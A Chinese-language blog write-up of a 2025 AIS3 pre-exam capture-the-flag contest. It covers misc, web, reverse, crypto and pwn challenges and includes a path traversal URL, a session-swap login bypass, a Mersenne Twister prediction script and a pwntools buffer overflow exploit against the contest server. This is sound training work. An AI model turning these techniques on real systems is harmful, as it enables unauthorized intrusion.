資訊安全 · 2025 年 5 月 26 日 0

2025 AIS3 pre-exam WriteUp

本次比賽總共解了十題,最後排名99,大家都好電好可怕。

Misc

Welcome

複製發現不對
手打一邊就過了

Ramen

圖片有商家統一編號,但缺少最後一碼,所以上財政部查,他應該最後一碼是驗證用,所以就一個一個試,試出來了商家的統編,然後查到商家名字。

但好像改過名,google了一下,找到了現在的名字:樂山溫泉拉麵
然後掃描qrcode最後寫蝦拉,就猜是蝦拉麵,就過了

AIS Tiny Server - Web / Misc

看起來就很像Path Traversal,上網隨便找了cheatsheet一個一個試就是出來了。
http://chals1.ais3.org:20982/..%2f..%2f..%2f/readable_flag_ssIWHibkayuzVao8A5ezgRiVzDKpCmbQ

Web

Tomorin db

一樣明顯是Path Traversal,一樣上網隨便找了cheatsheet一個一個試就是出來了。

Login Screen 1

隨便試了一下就發現帳密是admin/admin。

2fa介面會先post發送給自己對了,再get到dashbaord。
先用guest/guest進到2fa,用burpsuite攔截,得到了get的request,再把這個request的session id改成admin/admin,就得到了flag。

Reverse

web flag checker

上去發現是web assembly,反編譯得到了C的程式碼。
讓chatGPT幫我寫了解出flag的程式碼

def rotate_inverse(val, shift):
    shift &= 63
    return ((val >> shift) | (val << (64 - shift))) & ((1 << 64) - 1)

magic_vals = [
    7577352992956835434,
    7148661717033493303,
    -7081446828746089091 & ((1 << 64) - 1),
    -7479441386887439825 & ((1 << 64) - 1),
    8046961146294847270,
]

base = -39934163
flag_parts = []

for i in range(5):
    shift = (base >> (i * 6)) & 63
    val = magic_vals[i]
    original = rotate_inverse(val, shift)
    flag_parts.append(original.to_bytes(8, "little"))

flag = b"".join(flag_parts)
print("Flag:", flag)

AIS Tiny Server - Reverse

同上,反編譯找到FUN_00011e20是一個flag驗證之後,讓chatGPT幫我寫了解出flag的程式碼。

key = b'rikki_l0v3'
data = [
    0x33,0x20,0x38,0x58,0x12,0x28,0x5c,0x47,0x29,0x52,0x2d,0xf,0x5a,10,0xe,0x0,0xf,0x58,0x13,0x50,
    0x19,0x5a,0x19,0x34,0x58,0x31,0x33,0x43,0x13,0x41,4,0x5a,0x19,0x34,0x58,0x2c,0x33,0x53,0x46,
    3,0x1e,0x48,0x4a,0x4a,0x14
]
out = []
b = 0x33
out.append(chr(b ^ key[0]))
for i in range(1, 0x2d):
    b = data[i]
    out.append(chr(b ^ key[i % 10]))
print(''.join(out))

A_simple_snake_game

ghidra反編譯後發現他在遊戲勝利後會通過運算得到flag再畫出來
直接重新運行這個xor,得到flag。


cipher = bytes([
    0x81, 0x50, 0x69, 0xce, 0xb5, 0x2b, 0x94, 0xc1,
    0x6d, 0x13, 0x8b, 0xc3, 0xc5, 0x30, 0x08, 0xdb,
    0x09, 0xb2, 0x4c, 0x77, 0x59, 0x1c, 0x10, 0xed,
    0x58, 0x20, 0xeb, 0x48, 0xcf, 0xfe, 0x29, 0x65,
    0xf7, 0x67, 0x9d, 0x1d, 0xa4, 0x2e, 0x10, 0xde,
    0xfd, 0x66, 0x28
])

key = bytes([
    0xc0, 0x19, 0x3a, 0xfd, 0xce, 0x68, 0xdc, 0xf2,
    0x0c, 0x47, 0xd4, 0x86, 0xab, 0x57, 0x39, 0xb5,
    0x3a, 0x8d, 0x13, 0x47, 0x3f, 0x7f, 0x71, 0x98,
    0x6d, 0x13, 0xb4, 0x01, 0x90, 0x9c, 0x46, 0x3a,
    0xc6, 0x33, 0xc2, 0x7f, 0xdd, 0x71, 0x78, 0x9f,
    0x93, 0x22, 0x55
])

plaintext = bytes([c ^ k for c, k in zip(cipher, key)])

print("Decrypted message:")
print(plaintext.decode('utf-8'))

Crypto

Stream

c = a xor b^2

但a只有256種可能,所以對於每一個c,嘗試所有的a去做xor,然後看出來的值是不是平方數,就可以得到b。(本來以為可能有多種平方數,結果應該是題目有設計過,一一對應)

from hashlib import sha512
import math

digests = {i: int.from_bytes(sha512(bytes([i])).digest(), 'big') for i in range(256)}

with open('output.txt', 'r') as f:
    outputs = [int(line.strip(), 16) for line in f]

for i, output in enumerate(outputs[:80], 1):
    valid_bytes = []
    for k in range(256):
        b_squared = output ^ digests[k]
        sqrt_b = math.isqrt(b_squared)
        if sqrt_b * sqrt_b == b_squared:
            valid_bytes.append((k, sqrt_b))
    print(f"Output {i}: Valid bytes = {valid_bytes}")

利用這80個b,可以還原隨機數生成器,生成第81個b,求出flag

from mt19937predictor import MT19937Predictor
from hashlib import sha512

byte_values = [
    16, 191, 68, 59, 62, 223, 17, 141, 227, 60, 232, 197, 101, 117, 160,
    83, 126, 59, 153, 134, 188, 111, 104, 238, 41, 113, 188, 222, 156, 44,
    237, 197, 43, 64, 135, 136, 9, 226, 60, 96, 136, 108, 175, 228, 241,
    71, 129, 191, 140, 80, 85, 198, 155, 23, 118, 145, 60, 99, 13, 56, 80,
    111, 163, 92, 152, 16, 47, 180, 13, 56, 109, 24, 168, 131, 227, 132,
    96, 102, 71, 187
]

with open('output.txt', 'r') as f:
    outputs = [int(line.strip(), 16) for line in f]

predictor = MT19937Predictor()
for b in b_values:
    words = []
    for i in range(8):
        shift = 32 * i
        word = (b >> shift) & 0xFFFFFFFF
        words.append(word)
    for word in words:
        predictor.setrandbits(word, 32)

b_81 = predictor.getrandbits(256)
b_81_squared = b_81 * b_81
print(b_81)

output_81 = outputs[80]
flag_int = output_81 ^ b_81_squared
flag_bytes = flag_int.to_bytes(64, 'big')

print("Flag bytes (hex):", flag_bytes.hex())
flag = flag_bytes.decode('ascii')
print(f"Flag: {flag}")

Pwn

Welcome to the World of Ave Mujica

很明顯是ret2win,也沒有pie,看了一下函式在0x401256。
就各種試了一下發現offbeat是168,就解開了。

from pwn import *

p = remote('chals1.ais3.org', 60116)
print(p.sendlineafter(b"?", b"yes").decode())
print(p.sendlineafter(b":", b"-1").decode())

payload = b"A" * 168 + p64(0x401256)
p.sendline(payload)
p.interactive()